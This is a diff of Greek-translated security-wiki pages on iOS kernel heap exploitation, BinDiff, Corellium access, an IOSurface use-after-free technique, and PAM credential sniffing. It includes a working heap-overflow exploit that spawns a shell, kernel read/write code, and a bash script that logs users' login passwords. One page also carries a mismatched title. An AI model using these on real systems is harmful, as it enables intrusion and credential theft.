- **Shared memory objects (IOSurface, Mach ports)**: αυτά παραμένουν στόχοι επειδή γεφυρώνουν user ↔ kernel.
Αλλά — σε αντίθεση με παλιά — δεν μπορείς απλώς να ψεκάσεις `OSData` και να περιμένεις να βρεθεί δίπλα σε `task_t`. Χρειάζεσαι **type-specific bugs** ή **info leaks** για να πετύχεις.
### Example: Allocation Flow in Modern Heap
Υποθέτουμε ότι το userspace καλεί το IOKit για να κάνει allocation ενός `OSData` αντικειμένου:
1. **Type lookup**`OSData` αντιστοιχίζεται στη ζώνη `kalloc_type_osdata` (μέγεθος 64 bytes).
2. Έλεγχος per-CPU cache για free elements.
- Αν βρεθεί → επιστροφή ενός.
- Αν είναι άδειο → πάμε στο global freelist.
- Αν το freelist είναι άδειο → allocate νέο slab (σελίδα 4KB → 64 chunks των 64 bytes).
3. Επιστροφή chunk στον caller.
**Freelist pointer protection**:
- Κάθε freed chunk αποθηκεύει τη διεύθυνση του επόμενου free chunk, αλλά κωδικοποιημένη με ένα secret key.
- Η αντικατάσταση αυτού του πεδίου με attacker δεδομένα δεν θα δουλέψει αν δεν ξέρεις το key.
## Comparison Table
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
## (Old) Physical Use-After-Free via IOSurface
{{#ref}}
ios-physical-uaf-iosurface.md
{{#endref}}
---
## Ghidra Install BinDiff
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
### Using BinDiff with Kernel versions
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
{{#endref}}
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
4. Open each kernelcache so they are automatically analyzed by Ghidra.
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
---
## Finding the right XNU version
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,79 @@
# iOS Πώς να συνδεθείτε στο Corellium
{{#include ../../banners/hacktricks-training.md}}
## **Απαιτήσεις**
- Ένα Corellium iOS VM (jailbroken ή όχι). Σε αυτόν τον οδηγό υποθέτουμε ότι έχετε πρόσβαση στο Corellium.
- Τοπικά εργαλεία: **ssh/scp**.
- (Προαιρετικό) **SSH keys** προστιθέμενα στο project του Corellium σας για εισόδους χωρίς κωδικό.
## **Σύνδεση στο iPhone VM από το localhost**
### A) **Quick Connect (no VPN)**
0) Προσθέστε το ssh key σας στο **`/admin/projects`** (συνιστάται).
1) Ανοίξτε τη σελίδα της συσκευής → **Connect**
2) **Copy the Quick Connect SSH command** που εμφανίζεται στο Corellium και επικολλήστε το στο τερματικό σας.
3) Εισάγετε τον κωδικό ή χρησιμοποιήστε το **SSH key** σας (συνιστάται).
### B) **VPN → direct SSH**
0) Προσθέστε το ssh key σας στο **`/admin/projects`** (συνιστάται).
1) Σελίδα συσκευής → **CONNECT****VPN** → κατεβάστε `.ovpn` και συνδεθείτε με οποιονδήποτε VPN client που υποστηρίζει TAP mode. (Ελέγξτε [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) αν έχετε προβλήματα.)
2) Συνδεθείτε μέσω SSH στη διεύθυνση **10.11.x.x** της VM:
```bash
ssh root@10.11.1.1
```
## **Ανεβάστε ένα native binary & εκτελέστε το**
### 2.1 **Ανέβασμα**
- Αν το Quick Connect σας έδωσε host/port:
```bash
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
```
- Εάν χρησιμοποιείτε VPN (10.11.x.x):
```bash
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
```
## **Μεταφόρτωση & εγκατάσταση εφαρμογής iOS (.ipa)**
### Path A — **Web UI (ταχύτερο)**
1) Σελίδα συσκευής → καρτέλα **Apps****Install App** → επιλέξτε το `.ipa` σας.
2) Από την ίδια καρτέλα μπορείτε να **launch/kill/uninstall**.
### Path B — **Scripted via Corellium Agent**
1) Χρησιμοποιήστε το API Agent για να **upload** και μετά να **install**:
```js
// Node.js (pseudo) using Corellium Agent
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
await agent.install("/var/tmp/app.ipa", (progress, status) => {
console.log(progress, status);
});
```
### Path C — **Μη jailbroken (σωστή υπογραφή / Sideloadly)**
- Αν δεν έχετε provisioning profile, χρησιμοποιήστε το **Sideloadly** για να επανα-υπογράψετε με το Apple ID σας, ή συνδεθείτε στο **Xcode**.
- Μπορείτε επίσης να εκθέσετε το **VM** στο **Xcode** χρησιμοποιώντας **USBFlux** (βλέπε §5).
- Για γρήγορα logs/commands χωρίς **SSH**, χρησιμοποιήστε τη συσκευή **Console** στο UI.
## **Επιπλέον**
- **Port-forwarding** (κάνει το VM να φαίνεται τοπικό για άλλα εργαλεία):
```bash
# Forward local 2222 -> device 22
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
```
- **LLDB remote debugging**: χρησιμοποιήστε τη διεύθυνση **LLDB/GDB stub** που εμφανίζεται στο κάτω μέρος της σελίδας της συσκευής (CONNECT → LLDB).
- **USBFlux (macOS/Linux)**: παρουσιάστε το VM στο **Xcode/Sideloadly** σαν συσκευή συνδεδεμένη με καλώδιο.
## **Συνηθισμένα προβλήματα**
- Απαιτείται **Proper signing** σε **non-jailbroken** συσκευές· unsigned IPAs δεν θα εκκινηθούν.
- **Quick Connect vs VPN**: Το Quick Connect είναι το πιο απλό· χρησιμοποιήστε **VPN** όταν χρειάζεστε τη συσκευή στο τοπικό σας δίκτυο (π.χ., local proxies/tools).
- **No App Store** σε συσκευές Corellium· φέρτε τα δικά σας (re)signed IPAs.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,205 @@
# iOS Πώς να συνδεθείτε στο Corellium
{{#include ../../banners/hacktricks-training.md}}
## Vuln Code
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
__attribute__((noinline))
static void safe_cb(void) {
puts("[*] safe_cb() called — nothing interesting here.");
}
__attribute__((noinline))
static void win(void) {
puts("[+] win() reached — spawning shell...");
fflush(stdout);
system("/bin/sh");
exit(0);
}
typedef void (*cb_t)(void);
typedef struct {
cb_t cb; // <--- Your target: overwrite this with win()
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
} hook_t;
static void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main(void) {
// Make I/O deterministic
setvbuf(stdout, NULL, _IONBF, 0);
// Print address leak so exploit doesn't guess ASLR
printf("[*] LEAK win() @ %p\n", (void*)&win);
// 1) Allocate the overflow buffer
size_t buf_sz = 128;
char *buf = (char*)malloc(buf_sz);
if (!buf) fatal("malloc buf");
memset(buf, 'A', buf_sz);
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
if (!h) fatal("malloc hook");
h->cb = safe_cb;
memcpy(h->tag, "HOOK-OBJ", 8);
// A tiny bit of noise to look realistic (and to consume small leftover holes)
void *spacers[16];
for (int i = 0; i < 16; i++) {
spacers[i] = malloc(64);
if (spacers[i]) memset(spacers[i], 0xCC, 64);
}
puts("[*] You control a write into the 128B buffer (no bounds check).");
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
// 3) Read attacker-chosen length and then read that many bytes → overflow
char line[64];
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
unsigned long n = strtoul(line, NULL, 10);
// BUG: no clamp to 128
ssize_t got = read(STDIN_FILENO, buf, n);
if (got < 0) fatal("read");
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
// 4) Trigger: call the hook's callback
puts("[*] Calling h->cb() ...");
h->cb();
puts("[*] Done.");
return 0;
}
```
Μεταγλωττίστε το με:
```bash
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
```
## Exploit
> [!WARNING]
> Αυτό το exploit ορίζει τη μεταβλητή περιβάλλοντος `MallocNanoZone=0` για να απενεργοποιήσει το NanoZone. Αυτό είναι απαραίτητο για να έχουμε παρακείμενες κατανομές όταν καλείται `malloc` με μικρά μεγέθη. Χωρίς αυτό, διαφορετικά `mallocs` θα κατανεμηθούν σε διαφορετικές ζώνες και δεν θα είναι παρακείμενα, οπότε το overflow δεν θα λειτουργήσει όπως αναμένεται.
```python
#!/usr/bin/env python3
# Heap overflow exploit for macOS ARM64 CTF challenge
#
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
# a function pointer in an adjacent heap chunk.
#
# Key insights:
# 1. macOS uses different heap zones for different allocation sizes
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
#
from pwn import *
import re
import sys
import struct
import platform
# Detect architecture and set context accordingly
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
context.clear(arch='aarch64')
else:
context.clear(arch='amd64')
BIN = './heap_groom'
def parse_leak(line):
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
if not m:
log.failure("Couldn't parse leak")
sys.exit(1)
return int(m.group(1), 16)
def build_payload(win_addr, extra_pad=0):
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
padding = b'A' * 128
if extra_pad:
padding += b'B' * extra_pad
# Add the win address to overwrite the function pointer
payload = padding + p64(win_addr)
return payload
def main():
# On macOS, we need to disable the Nano zone for adjacent allocations
import os
env = os.environ.copy()
env['MallocNanoZone'] = '0'
# The correct padding with MallocNanoZone=0 is 432 bytes
# This makes the total distance 560 bytes (128 buffer + 432 padding)
# Try the known working value first, then alternatives in case of heap variation
candidates = [
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
424, # Try slightly less in case of alignment differences
440, # Try slightly more
416, # 16 bytes less
448, # 16 bytes more
0, # Direct adjacency (unlikely but worth trying)
]
log.info("Starting heap overflow exploit for macOS...")
for extra in candidates:
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
p = process(BIN, env=env)
# Read leak line
leak_line = p.recvline()
win_addr = parse_leak(leak_line)
log.success(f"win() @ {hex(win_addr)}")
# Skip prompt lines
p.recvuntil(b"Enter payload length")
p.recvline()
# Build and send payload
payload = build_payload(win_addr, extra_pad=extra)
total_len = len(payload)
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
# Send length and payload
p.sendline(str(total_len).encode())
p.send(payload)
# Check if we overwrote the function pointer successfully
try:
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
p.recvline(timeout=0.5) # Skip the "..." part
# Check if we hit win()
response = p.recvline(timeout=0.5)
if b"win() reached" in response:
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
log.success("Shell spawned, entering interactive mode...")
p.interactive()
return
elif b"safe_cb() called" in response:
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
else:
log.info(f"Failed with extra_pad={extra}, unexpected response")
except:
log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Ο **χώρος εικονικών διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα στη φυσική μνήμη. Αντίθετα, ο **kernel** χρησιμοποιεί **πίνακες σελίδων (page tables)** για να μεταφράσει εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
#### Levels of Page Tables in iOS
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
1. **L1 Page Table (Level 1)**:
* Κάθε καταχώριση εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
* Καλύπτει **0x1000000000 bytes****256 GB**) εικονικής μνήμης.
2. **L2 Page Table (Level 2)**:
* Μια καταχώριση εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
* Μια καταχώριση L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή από μόνη της.
3. **L3 Page Table (Level 3)**:
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε καταχώριση αντιστοιχίζει μία μόνο σελίδα μνήμης **4 KB**.
* Μια καταχώριση L2 μπορεί να δείχνει σε έναν πίνακα L3 αν απαιτείται πιο λεπτομερής έλεγχος.
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* Ορισμένες καταχωρίσεις σε έναν πίνακα σελίδων αντιστοιχίζουν απευθείας ένα εύρος εικονικών διευθύνσεων σε ένα συνεχή εύρος φυσικών διευθύνσεων (σαν συντόμευση).
* **Pointer to Child Page Table**:
* Αν απαιτείται πιο λεπτομερής έλεγχος, μια καταχώριση σε ένα επίπεδο (π.χ. L1) μπορεί να δείχνει σε έναν **child page table** στο επόμενο επίπεδο (π.χ. L2).
#### Example: Mapping a Virtual Address
Ας υποθέσουμε ότι προσπαθείτε να προσπελάσετε την εικονική διεύθυνση **0x1000000000**:
1. **L1 Table**:
* Ο kernel ελέγχει την καταχώριση L1 που αντιστοιχεί σε αυτή την εικονική διεύθυνση. Αν έχει έναν **pointer to an L2 page table**, πηγαίνει σε αυτόν τον πίνακα L2.
2. **L2 Table**:
* Ο kernel ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η καταχώριση δείχνει σε έναν **L3 page table**, προχωράει εκεί.
3. **L3 Table**:
* Ο kernel αναζητά την τελική καταχώριση L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
#### Example of Address Mapping
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στην πρώτη θέση του πίνακα L2, τότε:
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχίζονται στις φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
* Αυτή είναι μια **block mapping** στο επίπεδο L2.
Εναλλακτικά, αν η καταχώριση L2 δείχνει σε έναν πίνακα L3:
* Κάθε σελίδα 4 KB στο εικονικό εύρος **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες καταχωρίσεις στον L3 πίνακα.
### Physical use-after-free
Μια **physical use-after-free** (UAF) συμβαίνει όταν:
1. Μια διεργασία **εκχωρεί** κάποια μνήμη ως **readable and writable**.
2. Οι **page tables** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που η διεργασία μπορεί να προσπελάσει.
3. Η διεργασία **αποδεσμεύει** (frees) τη μνήμη.
4. Ωστόσο, λόγω ενός **bug**, ο kernel **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, παρόλο που σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
5. Ο kernel μπορεί στη συνέχεια να **επανα-εκχωρήσει αυτή τη "απελευθερωμένη" φυσική μνήμη** για άλλες χρήσεις, όπως **kernel data**.
6. Εφόσον η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
Αυτό σημαίνει ότι η διεργασία μπορεί να προσπελάσει **σελίδες kernel μνήμης**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειραγωγήσει μνήμη του kernel**.
### IOSurface Heap Spray
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες του kernel θα εκχωρηθούν στη freed μνήμη, χρησιμοποιεί μια τεχνική που ονομάζεται **heap spray**:
1. Ο επιτιθέμενος **δημιουργεί μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του kernel.
2. Κάθε αντικείμενο IOSurface περιέχει μια **magic value** σε ένα από τα πεδία του, που το καθιστά εύκολα αναγνωρίσιμο.
3. Σαρώνονται οι **freed pages** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface "προσγειώθηκε" σε μια freed σελίδα.
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια freed σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν μνήμη του kernel**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Να γνωρίζετε ότι συσκευές iOS 16+ (A12+) φέρνουν hardware mitigations (όπως PPL ή SPTM) που καθιστούν τις τεχνικές physical UAF πολύ λιγότερο βιώσιμες.
> PPL επιβάλλει αυστηρές MMU προστασίες σε σελίδες σχετικές με code signing, entitlements, και ευαίσθητα kernel δεδομένα, έτσι ακόμη και αν μια σελίδα επαναχρησιμοποιηθεί, οι εγγραφές από userland ή kompromised kernel code σε PPL-protected σελίδες μπλοκάρονται.
> Secure Page Table Monitor (SPTM) επεκτείνει το PPL σκληραίνοντας τις ενημερώσεις των page tables. Διασφαλίζει ότι ακόμη και privileged kernel code δεν μπορεί να επαναχαρτογραφήσει απρόσκοπτα freed σελίδες ή να τροποποιήσει mappings χωρίς να περάσει από secure checks.
> KTRR (Kernel Text Read-Only Region) κλειδώνει την περιοχή του κώδικα του kernel ως read-only μετά το boot. Αυτό αποτρέπει οποιεσδήποτε runtime τροποποιήσεις στον kernel code, κλείνοντας ένα σημαντικό attack vector που συχνά εκμεταλλεύονται τα physical UAF exploits.
> Επιπλέον, οι εκχωρήσεις `IOSurface` είναι πλέον λιγότερο προβλέψιμες και πιο δύσκολες να αντιστοιχιστούν σε user-accessible περιοχές, γεγονός που καθιστά το κόλπο του “magic value scanning” πολύ λιγότερο αξιόπιστο. Και `IOSurface` τώρα προστατεύεται από entitlements και sandbox περιορισμούς.
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με έναν ειδικό αναγνωριστικό ("magic value").
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει εκχωρηθεί σε μια freed σελίδα.
3. **Read/Write Kernel Memory**: Με τη χειραγώγηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα για **arbitrary reads and writes** στη μνήμη του kernel. Αυτό τους επιτρέπει να:
* Χρησιμοποιήσουν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του kernel.
* Χρησιμοποιήσουν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας ένα σταθερό **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Αναζήτηση για **`IOSurface`** αντικείμενα σε μία ελευθερωμένη φυσική σελίδα:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Επίτευξη Kernel Read/Write με IOSurface
Μετά την απόκτηση ελέγχου πάνω σε ένα αντικείμενο IOSurface στη kernel memory (mapped σε μια freed physical page προσβάσιμη από userspace), μπορούμε να το χρησιμοποιήσουμε για **αυθαίρετες λειτουργίες ανάγνωσης και εγγραφής στον kernel**.
**Key Fields in IOSurface**
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
1. **Use Count Pointer**: Επιτρέπει μια **ανάγνωση 32-bit**.
2. **Indexed Timestamp Pointer**: Επιτρέπει μια **εγγραφή 64-bit**.
Επανεγγράφοντας αυτούς τους δείκτες, τους αναδρομολογούμε σε αυθαίρετες διευθύνσεις στη kernel memory, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
#### 32-Bit Kernel Read
Για να εκτελέσουμε ανάγνωση:
1. Επανεγγράψτε τον **use count pointer** ώστε να δείχνει στη διεύθυνση-στόχο μείον ένα offset 0x14 bytes.
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε εκείνη τη διεύθυνση.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Για να πραγματοποιήσετε μια εγγραφή:
1. Αντικαταστήστε τον δείκτη **indexed timestamp pointer** ώστε να δείχνει στη διεύθυνση-στόχο.
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια 64-bit τιμή.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Οι σελίδες που έχουν απελευθερωθεί είναι διαθέσιμες για επαναχρησιμοποίηση.
2. **Spray IOSurface Objects**: Κατανεμήστε πολλά αντικείμενα IOSurface με μια μοναδική "magic value" στη μνήμη του kernel.
3. **Identify Accessible IOSurface**: Εντοπίστε ένα IOSurface σε μια σελίδα που έχει απελευθερωθεί και την οποία ελέγχετε.
4. **Abuse Use-After-Free**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να ενεργοποιήσετε αυθαίρετο **kernel read/write** μέσω των μεθόδων IOSurface.
Με αυτά τα primitives, το exploit παρέχει ελεγχόμενα **32-bit reads** και **64-bit writes** στη μνήμη του kernel. Επιπλέον βήματα για jailbreak μπορεί να περιλαμβάνουν πιο σταθερά read/write primitives, τα οποία ενδέχεται να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ. PPL σε νεότερες συσκευές arm64e).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,22 +4,23 @@
## Sniffing Logon Passwords with PAM
Ας διαμορφώσουμε ένα PAM module για να καταγράφει κάθε password που κάθε χρήστης χρησιμοποιεί για login. Αν δεν ξέρεις τι είναι το PAM, έλεγξε:
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Αυτό είναι απλώς μια σύνοψη:
**Για περαιτέρω λεπτομέρειες δείτε το [πρωτότυπο άρθρο](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Αυτό είναι μόνο μια περίληψη:
**Technique Overview:**
Τα Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση της authentication σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια επιτρέποντας προσαρμογή των διαδικασιών login, αλλά επίσης ενέχουν κινδύνους αν χρησιμοποιηθούν κακόβουλα. Αυτή η σύνοψη περιγράφει μια τεχνική για τη σύλληψη login credentials μέσω PAM, μαζί με στρατηγικές μετριασμού.
Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση authentication σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια προσαρμόζοντας τις διαδικασίες login αλλά επίσης εγκυμονούν κινδύνους αν χρησιμοποιηθούν κακόβουλα. Αυτή η περίληψη περιγράφει μια τεχνική για την καταγραφή login credentials χρησιμοποιώντας PAM, μαζί με στρατηγικές μετριασμού.
**Capturing Credentials:**
- Ένα bash script με όνομα `toomanysecrets.sh` δημιουργείται για να καταγράφει απόπειρες login, αποθηκεύοντας την ημερομηνία, το username (`$PAM_USER`), το password (μέσω stdin) και το remote host IP (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`.
- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη PAM configuration (`common-auth`) χρησιμοποιώντας το `pam_exec.so` module με επιλογές για σιωπηλή εκτέλεση και για την παροχή του authentication token στο script.
- Η προσέγγιση δείχνει πώς ένας compromised Linux host μπορεί να εκμεταλλευτεί για να καταγράψει credentials διακριτικά.
- Ένα bash script με όνομα `toomanysecrets.sh` δημιουργείται για να καταγράφει τις προσπάθειες login, καταγράφοντας την ημερομηνία, το username (`$PAM_USER`), το password (via stdin), και τη διεύθυνση IP του remote host (`$PAM_RHOST`) στο `/var/log/toomanysecrets.log`.
- Το script γίνεται εκτελέσιμο και ενσωματώνεται στη PAM configuration (`common-auth`) χρησιμοποιώντας το `pam_exec.so` module με επιλογές για να τρέχει quietly και να εκθέτει το authentication token στο script.
- Η προσέγγιση δείχνει πώς ένας compromised Linux host μπορεί να εκμεταλλευτείται για να καταγράφει διακριτικά credentials.
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@ -33,30 +34,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Αυτό είναι απλώς μια περίληψη:
The Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται σε Linux για τον έλεγχο ταυτότητας χρηστών. Λειτουργεί με τρεις κύριες έννοιες: **username**, **password**, και **service**. Τα αρχεία ρυθμίσεων για κάθε υπηρεσία βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου shared libraries αναλαμβάνουν τον έλεγχο ταυτότητας.
The Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται σε Linux για την πιστοποίηση χρηστών. Λειτουργεί με τρεις βασικές έννοιες: **username**, **password**, και **service**. Τα αρχεία ρυθμίσεων για κάθε service βρίσκονται στον κατάλογο `/etc/pam.d/`, όπου shared libraries αναλαμβάνουν την επαλήθευση ταυτότητας.
